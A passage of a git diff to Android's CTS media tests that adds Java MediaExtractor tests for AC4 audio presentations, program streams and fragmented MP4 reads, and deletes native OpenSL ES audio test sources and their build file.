+    public void testGetAudioPresentations() throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix +
+                        "MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts");
+        setDataSource("MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only.ts");
+        int ac4TrackIndex = -1;
+        for (int i = 0; i < mExtractor.getTrackCount(); i++) {
+            MediaFormat format = mExtractor.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (MediaFormat.MIMETYPE_AUDIO_AC4.equals(mime)) {
+                ac4TrackIndex = i;
+                break;
+            }
+        }
+
+        // Not all devices support AC4.
+        if (ac4TrackIndex == -1) {
+            List<AudioPresentation> presentations =
+                    mExtractor.getAudioPresentations(0 /*trackIndex*/);
+            assertNotNull(presentations);
+            assertTrue(presentations.isEmpty());
+            return;
+        }
+
+        // The test file has two sets of audio presentations. The presentation set
+        // changes for every 100 audio presentation descriptors between two presentations.
+        // Instead of attempting to count the presentation descriptors, the test assumes
+        // a particular order of the presentations and advances to the next reference set
+        // once getAudioPresentations returns a set that doesn't match the current reference set.
+        // Thus the test can match the set 0 several times, then it encounters set 1,
+        // advances the reference set index, matches set 1 until it encounters set 2 etc.
+        // At the end it verifies that all the reference sets were met.
+        List<Map<Integer, AudioPresentation>> refPresentations = Arrays.asList(
+                new HashMap<Integer, AudioPresentation>() {{  // First set.
+                    put(10, new AudioPresentation.Builder(10)
+                            .setLocale(ULocale.ENGLISH)
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                    put(11, new AudioPresentation.Builder(11)
+                            .setLocale(ULocale.ENGLISH)
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasAudioDescription(true)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                    put(12, new AudioPresentation.Builder(12)
+                            .setLocale(ULocale.FRENCH)
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                }},
+                new HashMap<Integer, AudioPresentation>() {{  // Second set.
+                    put(10, new AudioPresentation.Builder(10)
+                            .setLocale(ULocale.GERMAN)
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasAudioDescription(true)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                    put(11, new AudioPresentation.Builder(11)
+                            .setLocale(new ULocale("es"))
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasSpokenSubtitles(true)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                    put(12, new AudioPresentation.Builder(12)
+                            .setLocale(ULocale.ENGLISH)
+                            .setMasteringIndication(AudioPresentation.MASTERED_FOR_SURROUND)
+                            .setHasDialogueEnhancement(true)
+                            .build());
+                }},
+                null,
+                null
+        );
+        refPresentations.set(2, refPresentations.get(0));
+        refPresentations.set(3, refPresentations.get(1));
+        boolean[] presentationsMatched = new boolean[refPresentations.size()];
+        mExtractor.selectTrack(ac4TrackIndex);
+        for (int i = 0; i < refPresentations.size(); ) {
+            List<AudioPresentation> presentations = mExtractor.getAudioPresentations(ac4TrackIndex);
+            assertNotNull(presentations);
+            // Assumes all presentation sets have the same number of presentations.
+            assertEquals(refPresentations.get(i).size(), presentations.size());
+            if (!audioPresentationSetMatchesReference(refPresentations.get(i), presentations)) {
+                    // Time to advance to the next presentation set.
+                    i++;
+                    continue;
+            }
+            Log.d(TAG, "Matched presentation " + i);
+            presentationsMatched[i] = true;
+            // No need to wait for another switch after the last presentation has been matched.
+            if (i == presentationsMatched.length - 1 || !mExtractor.advance()) {
+                break;
+            }
+        }
+        for (int i = 0; i < presentationsMatched.length; i++) {
+            assertTrue("Presentation set " + i + " was not found in the stream",
+                    presentationsMatched[i]);
+        }
+    }
+
+    /* package */ static class ByteBufferDataSource extends MediaDataSource {
+        private final long mSize;
+        private TreeMap<Long, ByteBuffer> mMap = new TreeMap<Long, ByteBuffer>();
+
+        public ByteBufferDataSource(StreamUtils.ByteBufferStream bufferStream)
+                throws IOException {
+            long size = 0;
+            while (true) {
+                final ByteBuffer buffer = bufferStream.read();
+                if (buffer == null) break;
+                final int limit = buffer.limit();
+                if (limit == 0) continue;
+                size += limit;
+                mMap.put(size - 1, buffer); // key: last byte of validity for the buffer.
+            }
+            mSize = size;
+        }
+
+        @Override
+        public long getSize() {
+            return mSize;
+        }
+
+        @Override
+        public int readAt(long position, byte[] buffer, int offset, int size) {
+            Log.v(TAG, "reading at " + position + " offset " + offset + " size " + size);
+
+            // This chooses all buffers with key >= position (e.g. valid buffers)
+            final SortedMap<Long, ByteBuffer> map = mMap.tailMap(position);
+            int copied = 0;
+            for (Map.Entry<Long, ByteBuffer> e : map.entrySet()) {
+                // Get a read-only version of the byte buffer.
+                final ByteBuffer bb = e.getValue().asReadOnlyBuffer();
+                // Convert read position to an offset within that byte buffer, bboffs.
+                final long bboffs = position - e.getKey() + bb.limit() - 1;
+                if (bboffs >= bb.limit() || bboffs < 0) {
+                    break; // (negative position)?
+                }
+                bb.position((int)bboffs); // cast is safe as bb.limit is int.
+                final int tocopy = Math.min(size, bb.remaining());
+                if (tocopy == 0) {
+                    break; // (size == 0)?
+                }
+                bb.get(buffer, offset, tocopy);
+                copied += tocopy;
+                size -= tocopy;
+                offset += tocopy;
+                position += tocopy;
+                if (size == 0) {
+                    break; // finished copying.
+                }
+            }
+            if (copied == 0) {
+                copied = -1;  // signal end of file
+            }
+            return copied;
+        }
+
+        @Override
+        public void close() {
+            mMap = null;
+        }
+    }
+
+    /* package */ static class MediaExtractorStream
+                extends StreamUtils.ByteBufferStream implements Closeable {
+        public boolean mIsFloat;
+        public boolean mSawOutputEOS;
+        public MediaFormat mFormat;
+
+        private MediaExtractor mExtractor;
+        private StreamUtils.MediaCodecStream mDecoderStream;
+
+        public MediaExtractorStream(
+                String inMime, String outMime,
+                MediaDataSource dataSource) throws Exception {
+            mExtractor = new MediaExtractor();
+            mExtractor.setDataSource(dataSource);
+            final int numTracks = mExtractor.getTrackCount();
+            // Single track?
+            // assertEquals("Number of tracks should be 1", 1, numTracks);
+            for (int i = 0; i < numTracks; ++i) {
+                final MediaFormat format = mExtractor.getTrackFormat(i);
+                final String actualMime = format.getString(MediaFormat.KEY_MIME);
+                mExtractor.selectTrack(i);
+                mFormat = format;
+                if (outMime.equals(actualMime)) {
+                    break;
+                } else { // no matching mime, try to use decoder
+                    mDecoderStream = new StreamUtils.MediaCodecStream(
+                            mExtractor, mFormat);
+                    Log.w(TAG, "fallback to input mime type with decoder");
+                }
+            }
+            assertNotNull("MediaExtractor cannot find mime type " + inMime, mFormat);
+            mIsFloat = mFormat.getInteger(
+                    MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
+                            == AudioFormat.ENCODING_PCM_FLOAT;
+        }
+
+        public MediaExtractorStream(
+                String inMime, String outMime,
+                StreamUtils.ByteBufferStream inputStream) throws Exception {
+            this(inMime, outMime, new ByteBufferDataSource(inputStream));
+        }
+
+        @Override
+        public ByteBuffer read() throws IOException {
+            if (mSawOutputEOS) {
+                return null;
+            }
+            if (mDecoderStream != null) {
+                return mDecoderStream.read();
+            }
+            // To preserve codec-like behavior, we create ByteBuffers
+            // equal to the media sample size.
+            final long size = mExtractor.getSampleSize();
+            if (size >= 0) {
+                final ByteBuffer inputBuffer = ByteBuffer.allocate((int)size);
+                final int red = mExtractor.readSampleData(inputBuffer, 0 /* offset */); // sic
+                if (red >= 0) {
+                    assertEquals("position must be zero", 0, inputBuffer.position());
+                    assertEquals("limit must be read bytes", red, inputBuffer.limit());
+                    mExtractor.advance();
+                    return inputBuffer;
+                }
+            }
+            mSawOutputEOS = true;
+            return null;
+        }
+
+        @Override
+        public void close() throws IOException {
+            if (mExtractor != null) {
+                mExtractor.release();
+                mExtractor = null;
+            }
+            mFormat = null;
+        }
+
+        @Override
+        protected void finalize() throws Throwable {
+            if (mExtractor != null) {
+                Log.w(TAG, "MediaExtractorStream wasn't closed");
+                mExtractor.release();
+            }
+            mFormat = null;
+        }
+    }
+
+    @Test
+    public void testProgramStreamExtraction() throws Exception {
+        AssetFileDescriptor testFd = getAssetFileDescriptorFor("programstream.mpeg");
+
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+        assertEquals("There must be 2 tracks", 2, extractor.getTrackCount());
+        extractor.selectTrack(0);
+        extractor.selectTrack(1);
+        boolean lastAdvanceResult = true;
+        boolean lastReadResult = true;
+        int [] bytesRead = new int[2];
+        MediaCodec [] codecs = { null, null };
+
+        try {
+            MediaFormat f = extractor.getTrackFormat(0);
+            codecs[0] = MediaCodec.createDecoderByType(f.getString(MediaFormat.KEY_MIME));
+            codecs[0].configure(f, null /* surface */, null /* crypto */, 0 /* flags */);
+            codecs[0].start();
+        } catch (IOException | IllegalArgumentException e) {
+            // ignore
+        }
+        try {
+            MediaFormat f = extractor.getTrackFormat(1);
+            codecs[1] = MediaCodec.createDecoderByType(f.getString(MediaFormat.KEY_MIME));
+            codecs[1].configure(f, null /* surface */, null /* crypto */, 0 /* flags */);
+            codecs[1].start();
+        } catch (IOException | IllegalArgumentException e) {
+            // ignore
+        }
+
+        final int RETRY_LIMIT = 100;
+        final long INPUTBUFFER_TIMEOUT_US = 10000;
+        int num_retry = 0;
+        ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        while(num_retry < RETRY_LIMIT) {
+            for (MediaCodec codec : codecs) {
+                if (codec == null) {
+                    continue;
+                }
+                while (true) {
+                    int idx = codec.dequeueOutputBuffer(info, 0);
+                    if (idx < 0) {
+                        break;
+                    }
+                    codec.releaseOutputBuffer(idx, false);
+                }
+            }
+
+            int trackIdx = extractor.getSampleTrackIndex();
+            MediaCodec codec = codecs[trackIdx];
+            ByteBuffer b = buf;
+            int bufIdx = -1;
+            if (codec != null) {
+                bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US);
+                // No available input buffer now, retry again.
+                if (bufIdx < 0) {
+                    num_retry += 1;
+                    continue;
+                }
+
+                num_retry = 0;
+                b = codec.getInputBuffer(bufIdx);
+            }
+            int n = extractor.readSampleData(b, 0);
+            if (n > 0) {
+                bytesRead[trackIdx] += n;
+            }
+            if (codec != null) {
+                int sampleFlags = extractor.getSampleFlags();
+                long sampleTime = extractor.getSampleTime();
+                codec.queueInputBuffer(bufIdx, 0, n, sampleTime, sampleFlags);
+            }
+            if (!extractor.advance()) {
+                break;
+            }
+        }
+        extractor.release();
+
+        assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT);
+        assertTrue("did not read from track 0", bytesRead[0] > 0);
+        assertTrue("did not read from track 1", bytesRead[1] > 0);
+    }
+
+    private void doTestAdvance(final String res) throws Exception {
+        AssetFileDescriptor testFd = getAssetFileDescriptorFor(res);
+
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+        extractor.selectTrack(0);
+        boolean lastAdvanceResult = true;
+        boolean lastReadResult = true;
+        ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
+        while(lastAdvanceResult || lastReadResult) {
+            int n = extractor.readSampleData(buf, 0);
+            if (lastAdvanceResult) {
+                // previous advance() was successful, so readSampleData() should succeed
+                assertTrue("readSampleData() failed after successful advance()", n >= 0);
+                assertTrue("getSampleTime() failed after successful advance()",
+                        extractor.getSampleTime() >= 0);
+                assertTrue("getSampleSize() failed after successful advance()",
+                        extractor.getSampleSize() >= 0);
+                assertTrue("getSampleTrackIndex() failed after successful advance()",
+                        extractor.getSampleTrackIndex() >= 0);
+            } else {
+                // previous advance() failed, so readSampleData() should fail too
+                assertTrue("readSampleData() succeeded after failed advance()", n < 0);
+                assertTrue("getSampleTime() succeeded after failed advance()",
+                        extractor.getSampleTime() < 0);
+                assertTrue("getSampleSize() succeeded after failed advance()",
+                        extractor.getSampleSize() < 0);
+                assertTrue("getSampleTrackIndex() succeeded after failed advance()",
+                        extractor.getSampleTrackIndex() < 0);
+            }
+            lastReadResult = (n >= 0);
+            lastAdvanceResult = extractor.advance();
+        }
+        extractor.release();
+    }
+
+    private void readAllData() {
+        // 1MB is enough for any sample.
+        final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
+        final int trackCount = mExtractor.getTrackCount();
+
+        for (int i = 0; i < trackCount; i++) {
+            mExtractor.selectTrack(i);
+        }
+        do {
+            mExtractor.readSampleData(buf, 0);
+        } while (mExtractor.advance());
+        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+        do {
+            mExtractor.readSampleData(buf, 0);
+        } while (mExtractor.advance());
+    }
+
+    @Test
+    public void testAV1InMP4() throws Exception {
+        setDataSource("video_dovi_3840x2160_30fps_dav1_10_2.mp4");
+        readAllData();
+    }
+
+    @Test
+    public void testDolbyVisionInMP4() throws Exception {
+        setDataSource("video_dovi_3840x2160_30fps_dav1_10.mp4");
+        readAllData();
+    }
+
+    @Test
+    public void testPcmLeInMov() throws Exception {
+        setDataSource("sinesweeppcmlemov.mov");
+        readAllData();
+    }
+
+    @Test
+    public void testPcmBeInMov() throws Exception {
+        setDataSource("sinesweeppcmbemov.mov");
+        readAllData();
+    }
+
+    @Test
+    public void testFragmentedRead() throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
+        setDataSource("psshtest.mp4");
+        readAllData();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot bind sockets.")
+    @Test
+    public void testFragmentedHttpRead() throws Exception {
+        CtsTestServer server = new CtsTestServer(getContext());
+        Preconditions.assertTestFileExists(mInpPrefix + "psshtest.mp4");
+        String url = server.getAssetUrl(mInpPrefix + "psshtest.mp4");
+        mExtractor.setDataSource(url);
+        readAllData();
+        server.shutdown();
+    }
+}
diff --git a/tests/tests/media/extractor/src/android/media/extractor/cts/WorkDir.java b/tests/tests/media/extractor/src/android/media/extractor/cts/WorkDir.java
new file mode 100644
index 0000000..749645a
--- /dev/null
+++ b/tests/tests/media/extractor/src/android/media/extractor/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.extractor.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaExtractorTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
deleted file mode 100644
index ded7b83..0000000
--- a/tests/tests/media/libaudiojni/Android.bp
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright (C) 2015 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test_library {
-    name: "libaudio_jni",
-    srcs: [
-        "appendix-b-1-1-buffer-queue.cpp",
-        "appendix-b-1-2-recording.cpp",
-        "audio-metadata-native.cpp",
-        "audio-record-native.cpp",
-        "audio-track-native.cpp",
-        "sl-utils.cpp",
-    ],
-    include_dirs: ["system/core/include"],
-    shared_libs: [
-        "libandroid",
-        "liblog",
-        "libnativehelper_compat_libc++",
-        "libOpenSLES",
-    ],
-    header_libs: [
-        "libaudioutils_headers",
-        "liblog_headers",
-    ],
-    stl: "libc++_static",
-    cflags: [
-        "-Werror",
-        "-Wall",
-        "-Wno-deprecated-declarations",
-    ],
-    gtest: false,
-    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
-    // (revisit if/when we add features to this library that require newer sdk.
-    sdk_version: "29",
-}
diff --git a/tests/tests/media/libaudiojni/appendix-b-1-1-buffer-queue.cpp b/tests/tests/media/libaudiojni/appendix-b-1-1-buffer-queue.cpp
deleted file mode 100644
index 5bb88a7..0000000
--- a/tests/tests/media/libaudiojni/appendix-b-1-1-buffer-queue.cpp
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "OpenSL-ES-Test-B-1-1-Buffer-Queue"
-
-#include "sl-utils.h"
-
-/*
- * See https://www.khronos.org/registry/sles/specs/OpenSL_ES_Specification_1.0.1.pdf
- * Appendix B.1.1 sample code.
- *
- * Minor edits made to conform to Android coding style.
- *
- * Correction to code: SL_IID_VOLUME is now made optional for the mixer.
- * It isn't supported on the standard Android mixer, but it is supported on the player.
- */
-
-#define MAX_NUMBER_INTERFACES 3
-
-/* Local storage for Audio data in 16 bit words */
-#define AUDIO_DATA_STORAGE_SIZE 4096
-
-#define AUDIO_DATA_SEGMENTS 8
-
-/* Audio data buffer size in 16 bit words. 8 data segments are used in
-   this simple example */
-#define AUDIO_DATA_BUFFER_SIZE (AUDIO_DATA_STORAGE_SIZE / AUDIO_DATA_SEGMENTS)
-
-/* Structure for passing information to callback function */
-typedef struct  {
-    SLPlayItf playItf;
-    SLint16  *pDataBase; // Base address of local audio data storage
-    SLint16  *pData;     // Current address of local audio data storage
-    SLuint32  size;
-} CallbackCntxt;
-
-/* Local storage for Audio data */
-static SLint16 pcmData[AUDIO_DATA_STORAGE_SIZE];
-
-/* Callback for Buffer Queue events */
-static void BufferQueueCallback(
-        SLBufferQueueItf queueItf,
-        void *pContext)
-{
-    SLresult res;
-    CallbackCntxt *pCntxt = (CallbackCntxt*)pContext;
-    if (pCntxt->pData < (pCntxt->pDataBase + pCntxt->size)) {
-        res = (*queueItf)->Enqueue(queueItf, (void *)pCntxt->pData,
-                sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
-        ALOGE_IF(res != SL_RESULT_SUCCESS, "error: %s", android::getSLErrStr(res));
-        /* Increase data pointer by buffer size */
-        pCntxt->pData += AUDIO_DATA_BUFFER_SIZE;
-    }
-}
-
-/* Play some music from a buffer queue */
-static void TestPlayMusicBufferQueue(SLObjectItf sl)
-{
-    SLEngineItf EngineItf;
-
-    SLresult res;
-
-    SLDataSource audioSource;
-    SLDataLocator_BufferQueue bufferQueue;
-    SLDataFormat_PCM pcm;
-
-    SLDataSink audioSink;
-    SLDataLocator_OutputMix locator_outputmix;
-
-    SLObjectItf player;
-    SLPlayItf playItf;
-    SLBufferQueueItf bufferQueueItf;
-    SLBufferQueueState state;
-
-    SLObjectItf OutputMix;
-    SLVolumeItf volumeItf;
-
-    int i;
-
-    SLboolean required[MAX_NUMBER_INTERFACES];
-    SLInterfaceID iidArray[MAX_NUMBER_INTERFACES];
-
-    /* Callback context for the buffer queue callback function */
-    CallbackCntxt cntxt;
-
-    /* Get the SL Engine Interface which is implicit */
-    res = (*sl)->GetInterface(sl, SL_IID_ENGINE, (void *)&EngineItf);
-    CheckErr(res);
-
-    /* Initialize arrays required[] and iidArray[] */
-    for (i = 0; i < MAX_NUMBER_INTERFACES; i++) {
-        required[i] = SL_BOOLEAN_FALSE;
-        iidArray[i] = SL_IID_NULL;
-    }
-
-    // Set arrays required[] and iidArray[] for VOLUME interface
-    required[0] = SL_BOOLEAN_FALSE; // ANDROID: we don't require this interface
-    iidArray[0] = SL_IID_VOLUME;
-
-#if 0
-    const unsigned interfaces = 1;
-#else
-
-    /* FIXME: Android doesn't properly support optional interfaces (required == false).
-    [3.1.6] When an application requests explicit interfaces during object creation,
-    it can flag any interface as required. If an implementation is unable to satisfy
-    the request for an interface that is not flagged as required (i.e. it is not required),
-    this will not cause the object to fail creation. On the other hand, if the interface
-    is flagged as required and the implementation is unable to satisfy the request
-    for the interface, the object will not be created.
-    */
-    const unsigned interfaces = 0;
-#endif
-    // Create Output Mix object to be used by player
-    res = (*EngineItf)->CreateOutputMix(EngineItf, &OutputMix, interfaces,
-            iidArray, required);
-    CheckErr(res);
-
-    // Realizing the Output Mix object in synchronous mode.
-    res = (*OutputMix)->Realize(OutputMix, SL_BOOLEAN_FALSE);
-    CheckErr(res);
-
-    volumeItf = NULL; // ANDROID: Volume interface on mix object may not be supported
-    res = (*OutputMix)->GetInterface(OutputMix, SL_IID_VOLUME,
-            (void *)&volumeItf);
-
-    /* Setup the data source structure for the buffer queue */
-    bufferQueue.locatorType = SL_DATALOCATOR_BUFFERQUEUE;
-    bufferQueue.numBuffers = 4; /* Four buffers in our buffer queue */
-
-    /* Setup the format of the content in the buffer queue */
-    pcm.formatType = SL_DATAFORMAT_PCM;
-    pcm.numChannels = 2;
-    pcm.samplesPerSec = SL_SAMPLINGRATE_44_1;
-    pcm.bitsPerSample = SL_PCMSAMPLEFORMAT_FIXED_16;
-    pcm.containerSize = 16;
-    pcm.channelMask = SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT;
-    pcm.endianness = SL_BYTEORDER_LITTLEENDIAN;
-    audioSource.pFormat = (void *)&pcm;
-    audioSource.pLocator = (void *)&bufferQueue;
-
-    /* Setup the data sink structure */
-    locator_outputmix.locatorType = SL_DATALOCATOR_OUTPUTMIX;
-    locator_outputmix.outputMix = OutputMix;
-    audioSink.pLocator = (void *)&locator_outputmix;
-    audioSink.pFormat = NULL;
-
-    /* Initialize the context for Buffer queue callbacks */
-    cntxt.pDataBase = pcmData;
-    cntxt.pData = cntxt.pDataBase;
-    cntxt.size = sizeof(pcmData) / sizeof(pcmData[0]); // ANDROID: Bug
-
-    /* Set arrays required[] and iidArray[] for SEEK interface
-       (PlayItf is implicit) */
-    required[0] = SL_BOOLEAN_TRUE;
-    iidArray[0] = SL_IID_BUFFERQUEUE;
-
-    /* Create the music player */
-
-    res = (*EngineItf)->CreateAudioPlayer(EngineItf, &player,
-            &audioSource, &audioSink, 1, iidArray, required);
-    CheckErr(res);
-
-    /* Realizing the player in synchronous mode. */
-    res = (*player)->Realize(player, SL_BOOLEAN_FALSE);
-    CheckErr(res);
-
-    /* Get seek and play interfaces */
-    res = (*player)->GetInterface(player, SL_IID_PLAY, (void *)&playItf);
-    CheckErr(res);
-    res = (*player)->GetInterface(player, SL_IID_BUFFERQUEUE,
-            (void *)&bufferQueueItf);
-    CheckErr(res);
-
-    /* Setup to receive buffer queue event callbacks */
-    res = (*bufferQueueItf)->RegisterCallback(bufferQueueItf,
-            BufferQueueCallback, &cntxt /* BUG, was NULL */);
-    CheckErr(res);
-
-    /* Before we start set volume to -3dB (-300mB) */
-    if (volumeItf != NULL) { // ANDROID: Volume interface may not be supported.
-        res = (*volumeItf)->SetVolumeLevel(volumeItf, -300);
-        CheckErr(res);
-    }
-
-    /* Enqueue a few buffers to get the ball rolling */
-    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
-            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
-    CheckErr(res);
-    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
-    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
-            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
-    CheckErr(res);
-    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
-    res = (*bufferQueueItf)->Enqueue(bufferQueueItf, cntxt.pData,
-            sizeof(SLint16) * AUDIO_DATA_BUFFER_SIZE); /* Size given in bytes. */
-    CheckErr(res);
-    cntxt.pData += AUDIO_DATA_BUFFER_SIZE;
-
-    /* Play the PCM samples using a buffer queue */
-    res = (*playItf)->SetPlayState(playItf, SL_PLAYSTATE_PLAYING);
-    CheckErr(res);
-
-    /* Wait until the PCM data is done playing, the buffer queue callback
-       will continue to queue buffers until the entire PCM data has been
-       played. This is indicated by waiting for the count member of the
-       SLBufferQueueState to go to zero.
-     */
-    res = (*bufferQueueItf)->GetState(bufferQueueItf, &state);
-    CheckErr(res);
-
-    while (state.count) {
-        usleep(5 * 1000 /* usec */); // ANDROID: avoid busy waiting
-        (*bufferQueueItf)->GetState(bufferQueueItf, &state);
-    }
-
-    /* Make sure player is stopped */
-    res = (*playItf)->SetPlayState(playItf, SL_PLAYSTATE_STOPPED);
-    CheckErr(res);
-
-    /* Destroy the player */
-    (*player)->Destroy(player);
-
-    /* Destroy Output Mix object */
-    (*OutputMix)->Destroy(OutputMix);
-}
-
-extern "C" void Java_android_media_cts_AudioNativeTest_nativeAppendixBBufferQueue(
-        JNIEnv * /* env */, jclass /* clazz */)
-{
-    SLObjectItf engineObject = android::OpenSLEngine();
-    LOG_ALWAYS_FATAL_IF(engineObject == NULL, "cannot open OpenSL ES engine");
-
-    TestPlayMusicBufferQueue(engineObject);
-    android::CloseSLEngine(engineObject);
-}
diff --git a/tests/tests/media/libaudiojni/appendix-b-1-2-recording.cpp b/tests/tests/media/libaudiojni/appendix-b-1-2-recording.cpp
deleted file mode 100644
index e628c6f..0000000
--- a/tests/tests/media/libaudiojni/appendix-b-1-2-recording.cpp
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "OpenSL-ES-Test-B-1-2-Recording"
-
-#include "sl-utils.h"
-
-/*
- * See https://www.khronos.org/registry/sles/specs/OpenSL_ES_Specification_1.0.1.pdf
- * Appendix B.1.2 sample code.
- *
- * Minor edits made to conform to Android coding style.
- *
- * Correction to code: SL_IID_AUDIOIODEVICECAPABILITIES is not supported.
- * Detection of microphone should be made in Java layer.
- */
-
-#define MAX_NUMBER_INTERFACES 5
-#define MAX_NUMBER_INPUT_DEVICES 3
-#define POSITION_UPDATE_PERIOD 1000 /* 1 sec */
-
-static void RecordEventCallback(SLRecordItf caller __unused,
-        void *pContext __unused,
-        SLuint32 recordevent __unused)
-{
-    /* Callback code goes here */
-}
-
-/*
- * Test recording of audio from a microphone into a specified file
- */
-static void TestAudioRecording(SLObjectItf sl)
-{
-    SLObjectItf recorder;
-    SLRecordItf recordItf;
-    SLEngineItf EngineItf;
-    SLAudioIODeviceCapabilitiesItf AudioIODeviceCapabilitiesItf;
-    SLAudioInputDescriptor AudioInputDescriptor;
-    SLresult res;
-
-    SLDataSource audioSource;
-    SLDataLocator_IODevice locator_mic;
-    SLDeviceVolumeItf devicevolumeItf;
-    SLDataSink audioSink;
-
-    int i;
-    SLboolean required[MAX_NUMBER_INTERFACES];
-    SLInterfaceID iidArray[MAX_NUMBER_INTERFACES];
-
-    SLuint32 InputDeviceIDs[MAX_NUMBER_INPUT_DEVICES];
-    SLint32 numInputs = 0;
-    SLboolean mic_available = SL_BOOLEAN_FALSE;
-    SLuint32 mic_deviceID = 0;
-
-    /* Get the SL Engine Interface which is implicit */
-    res = (*sl)->GetInterface(sl, SL_IID_ENGINE, (void *)&EngineItf);
-    CheckErr(res);
-
-    AudioIODeviceCapabilitiesItf = NULL;
-    /* Get the Audio IO DEVICE CAPABILITIES interface, which is also
-       implicit */
-    res = (*sl)->GetInterface(sl, SL_IID_AUDIOIODEVICECAPABILITIES,
-            (void *)&AudioIODeviceCapabilitiesItf);
-    // ANDROID: obtaining SL_IID_AUDIOIODEVICECAPABILITIES may fail
-    if (AudioIODeviceCapabilitiesItf != NULL ) {
-        numInputs = MAX_NUMBER_INPUT_DEVICES;
-        res = (*AudioIODeviceCapabilitiesItf)->GetAvailableAudioInputs(
-                AudioIODeviceCapabilitiesItf, &numInputs, InputDeviceIDs);
-        CheckErr(res);
-        /* Search for either earpiece microphone or headset microphone input
-           device - with a preference for the latter */
-        for (i = 0; i < numInputs; i++) {
-            res = (*AudioIODeviceCapabilitiesItf)->QueryAudioInputCapabilities(
-                    AudioIODeviceCapabilitiesItf, InputDeviceIDs[i], &AudioInputDescriptor);
-            CheckErr(res);
-            if ((AudioInputDescriptor.deviceConnection == SL_DEVCONNECTION_ATTACHED_WIRED)
-                    && (AudioInputDescriptor.deviceScope == SL_DEVSCOPE_USER)
